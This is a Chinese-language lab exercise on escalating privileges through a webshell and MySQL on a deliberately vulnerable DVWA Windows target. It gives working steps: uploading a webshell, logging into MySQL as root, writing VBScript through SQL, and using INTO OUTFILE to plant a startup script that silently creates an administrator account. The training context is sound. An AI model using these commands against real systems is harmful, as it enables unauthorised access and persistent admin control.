Mysql提权-基于Mysql的webshell提权
基于Mysql的webshell提权
【实验目的】
通过本实验理解webshell的使用方法,掌握如何通过webshell执行sql命令进行提权,熟悉基本的webshell提权思路。
【实验环境】
攻击机:Win2008-att
用户名college,密码360College
使用的webshell文件:dama.php
目标靶机:Win2003-DVWA
用户名college,密码360College
【实验步骤】
1.在靶机Win2003-DVWA上,启动phpstudy,开启漏洞环境。
2.在攻击机上,启动Firefox浏览器,登录靶机上的DVWA网站。
网站的URL为:http://【靶机IP地址】/dvwa
登录用户名为admin,密码为password
3.成功登录DVWA网站后,选择网站左侧菜单“DVWA Security”,将DVWA网站安全等级设置为“Low”。
4.选择网站左侧菜单“File Upload”,将攻击机Win2008-att桌面文件夹Tools中的dama.php(实验中所用的webshell)上传至靶机。
5.dama.php上传成功后,在攻击机浏览的地址栏中输入如下URL连接dama.php:
http://【靶机IP地址】/dvwa/hackable/uploads/dama.php
出现登录提示框时,输入密码hucyuansheng登录。
6.成功登录dama.php后,选择左侧菜单“提权工具”->“MySQL操作”,输入MySQL数据库的登录密码root,以root用户权限登录。
7.选择数据库test,并执行如下操作:
(1)利用如下命令在test下创建一个新的表a:
create table a(cmd text);
该数据表表名为a,表中只存放一个字段,字段名为cmd,为text文本。
(2)利用如下命令在表a中插入内容:
insert into a values("set wshshell=createobject (""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user 1 1 /add"",0)");
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators 1 /add"",0)");
注意双引号和括号以及后面的"0"一定要输入!将用这三条命令来建立一个vbs脚本程序!后面的"0"表示不弹出CMD窗口,安静地运行。
上述三条命令执行成功后,可以看到如下图所示的结果,表a中已保存了相应的内容。也可以通过执行如下命令查看表a中的内容:
select * from a;
(3)利用如下命令创建一个vbs脚本程序,并将其输出至靶机操作系统的开始启动项中:
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
8.在靶机上验证攻击效果。
(1)点击“开始”菜单->“启动”,会发现启动项中有一个a.vbs的脚本程序;
(2)重启靶机后,在cmd下输入net user命令,会看到靶机操作系统中被添加了一个用户“1”。
实验至此结束。
思考与总结
通过本次实验成功实现了基于webshell执行mysql命令来写入一个自启动功能的vbs脚本,掌握了基于webshell进行提权的方法,能够结合操作系统安全策略,配置数据库和操作系统的各项访问权限。